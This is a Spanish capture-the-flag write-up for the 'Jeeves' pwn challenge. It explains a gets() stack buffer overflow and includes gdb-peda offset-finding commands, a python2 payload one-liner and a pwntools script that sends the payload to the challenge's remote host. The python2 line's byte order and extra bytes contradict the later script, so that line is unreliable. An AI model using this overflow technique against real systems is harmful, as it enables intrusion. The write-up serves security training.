Jeeves Writeup
El desafio jeeves es un desafio de pwn en el cual debemos hacer un buffer overflow a una maquina linux remota. Analizado estaticamente el binario podemos observar lo siguiente:
1
2
$ set-disassembly flavor intel
$ disassembly main
Como se observa existe una instruccion que guarda en la direccion rbp-0x4 el DWORD (32 bits) 0xdeadc0d3 mas adelante podemos ver que compara el valor de la direccion con el DWORD 0x1337bab3 y si no son iguales nos envia a la salida del programa, pero si son iguales nos entrega la flag. Ingresando una instruccion lo suficientemente grande podemos sobreescribir el registro RBP y RIP del stack.
Generando una cadena de texto irrepetible con la herramienta pattern.txt podemos averiguar cual es el offset que necesitamos para sobreescribir el primer valor de la pila. En mi caso tengo la herramienta gdb-peda por lo que debo ejecutar:
1
gdb-peda$ pattern_create 200
Tenemos el siguiente output:
1
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
Lo copiamos en un archivo de salida pattern .txt para usarlo como entrada del programa:
1
gdb-peda$ r < pattern.txt
Observamos que el registro rbp fue sobreescrito ya que gets() es una funcion vulnerable a buffers overflows:
Ahora podemos usar el valor para ver cuanta es la cantidad de data que necesitamos para sobreescribir el RBP
1
2
gdb-peda$ pattern_offset AAdAA3AA 200
AAdAA3AA found at offset: 64
Por lo tanto debemos sobreescribir el RBP desde la posicion 60 (64 -0x4) ya que el stack se sobreescribe desde las posiciones con menor valor numerico a las que tienen mayor valor numerico. Y el programa va a verificar que la data en la direccion de memoria RBP-0x4 sea 0x1337bab3.
1
python2 -c "print '\x90'*60 + '\x13\x37\xba\xb3\xfc\x43\xc7' + ''" > in.bin
Podemos probar que funcione en el entorno local agregando el archivo flag.txt y escribiendo cualquier cosa en el por lo que el programa deberia leerlo y devolver lo que hemos escrito en el.
Si queremos automatizarlo para explotar la vulnerabilidad en un servidor remoto como lo pide el desfio podemos usar el siguinte script de pwntools.
1
2
3
4
5
6
7
8
from pwn import *
HOST, PORT = "83.136.252.57", 30295
request = remote(HOST, PORT)
request.send(b'\x90' * 60 + b'\xb3\xba\x37\x13' + b'\n')
flag = request.recv()
print(flag)
request.close()
Los caracteres se ponen al reves porque los valores al ser cargados en el stack se cargan en orden inverso por lo que quedaran en el orden correcto al ser agregados por el programa.